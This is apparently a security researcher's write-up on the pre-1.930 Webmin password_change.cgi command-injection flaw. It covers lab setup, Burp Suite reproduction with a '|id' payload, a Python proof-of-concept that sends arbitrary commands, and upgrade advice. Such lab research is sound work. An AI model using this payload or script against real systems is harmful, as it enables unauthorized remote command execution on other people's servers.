0x00 Preface

---

On August 10, 2019, Ozkan(@ehakkus) disclosed a 0-day at DEFCON AppSec Village. Webmin versions below 1.930 contain a remote code execution vulnerability. The article address is as follows:

https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html

I conducted follow-up research on this vulnerability. This article will document the testing process, develop a Python POC based on the vulnerability principle, and provide defense recommendations.

0x01 Introduction

---

This article will cover the following:

  • Vulnerability Overview
  • Setting Up a Test Environment
  • Reproducing the Vulnerability with Burp Suite
  • Writing a POC in Python

0x02 Vulnerability Overview

---

Webmin is a web-based Unix system management tool, simply put: it allows remote management of Unix system hosts via a browser.

Versions of Webmin below 1.930 have a remote code execution vulnerability. When Webmin's Password expiry policy is set to 'Prompt users with expired passwords to enter a new one' (the default setting is 'Always deny users with expired passwords'), remote code execution can be achieved by constructing a specially formatted POST packet.

0x03 Setting up the test environment and reproducing the vulnerability

---

Test system: Centos7 x64

IP: 192.168.112.181

1. Install perl and dependency libraries

yum -y install perl
yum -y install perl-Net-SSLeay
yum -y install perl-Encode-Detect

2. Download and install the vulnerable Webadmin (1.920)

wget https://sourceforge.net/projects/webadmin/files/webmin/1.920/webmin-1.920-1.noarch.rpm
rpm -U webmin-1.920-1.noarch.rpm

After successful installation, Webadmin enables SSL by default.

3. Configure the firewall to open port 10000, enabling remote access

Add port 10000:

firewall-cmd --zone=public --add-port=10000/tcp --permanent

Restart firewall:

firewall-cmd --reload

Check if the port is open:

firewall-cmd --query-port=10000/tcp

4. Remote login

https://192.168.112.181:10000

Login page as shown below

Alt text

Log in using CentOS root user password

Note:

For testing convenience, you can first disable SSL function at: Webmin Configuration -> SSL Encryption

As shown below

Alt text

The new login page is http://192.168.112.181:10000

5. Modify Password expiry policy

Location: Webmin Configuration -> Authentication

Default is Always deny users with expired passwords

Change to Prompt users with expired passwords to enter a new one

As shown in the figure below

Alt text

6. Add a new user

Location: Webmin Users

After successfully adding the user, modify the Password option and add Force change at next login

As shown in the figure below

Alt text

7. Log in with the new user

Prompt to change password

As shown in the figure below

Alt text

8. Start Burp Suite to capture packets

Enter any old password and new password

Burp Suite packet capture is shown below

Alt text

Normal return result is shown below

Alt text

9. Modify POST packet, add Payload

Repeat step 8 and modify the POST packet

Original data:

user=a&pam=&expired=2&old=123&new1=456&new2=456

New data:

user=a&pam=&expired=2&old=123|id&new1=456&new2=456

As shown below

Alt text

The new result is shown in the figure below

Alt text

Executed the command (id) and output the result

0x04 Writing a POC using Python

---

Ozkan (@ehakkus) used Ruby to write a POC in his article; here, we rewrite a POC in Python based on the packet capture from Burp Suite

The following issues need to be considered:

1. Using Python's requests to send a POST packet

The format of the POST packet is shown in the figure below

Alt text

The corresponding Python code using requests to send a POST packet is as follows:

import requests
def test_post_http(ip,command):
try:
url = 'http://' + ip + ':10000/password_change.cgi'
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': "gzip, deflate",
'Referer': 'http://' + ip + ':10000/session_login.cgi',
'Cookie': 'redirect=1; testing=1; sid=x',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '47'
}
payload = 'user=a&pam=&expired=2&old=test|' + command + '&new1=test1&new2=test1'
r = requests.post(url, data=payload, headers = headers)
print r.text
except Exception as e:
print '[!]Error:%s'%e

2. Add identification for results

If Webmin does not have 'Prompt users with expired passwords to enter a new one' enabled, the result is:

Error - Perl execution failed


Password changing is not enabled! at /usr/libexec/webmin/password_change.cgi line 12.

If Webmin uses https, the result is:

Error - Document follows


This web server is running in SSL mode. Try the URL https://webmin-node-reddis:10000/ instead.

If Webmin has 'Prompt users with expired passwords to enter a new one' enabled, the result is:



Failed to change password : The current password is incorrect



3. Add support for HTTPS

If the result is 'This web server is running in SSL mode.', then switch to HTTPS and test again

Additionally, certificate verification needs to be disabled

Original code:

r = requests.post(url, data=payload, headers = headers)

New code:

r = requests.post(url, data=payload, headers = headers, verify = False)

To suppress SSL warnings from certificate verification, add the code:

import warnings
warnings.filterwarnings("ignore")

Otherwise, it will display:

C:\Python27\lib\site-packages\urllib3-1.25.3-py2.7.egg\urllib3\connectionpool.py:851: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: ttps://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings InsecureRequestWarning)

The complete test code has been open-sourced, available at:

An Open Source Project).py

0x05 Defense Recommendations

---

1. Upgrade to 1.930

2. Password expiry policy uses default settings

0x06 Summary

---

This article tests the remote code execution in Webmin<=1.920, records the process, writes a POC in Python based on the vulnerability principle, and provides defense recommendations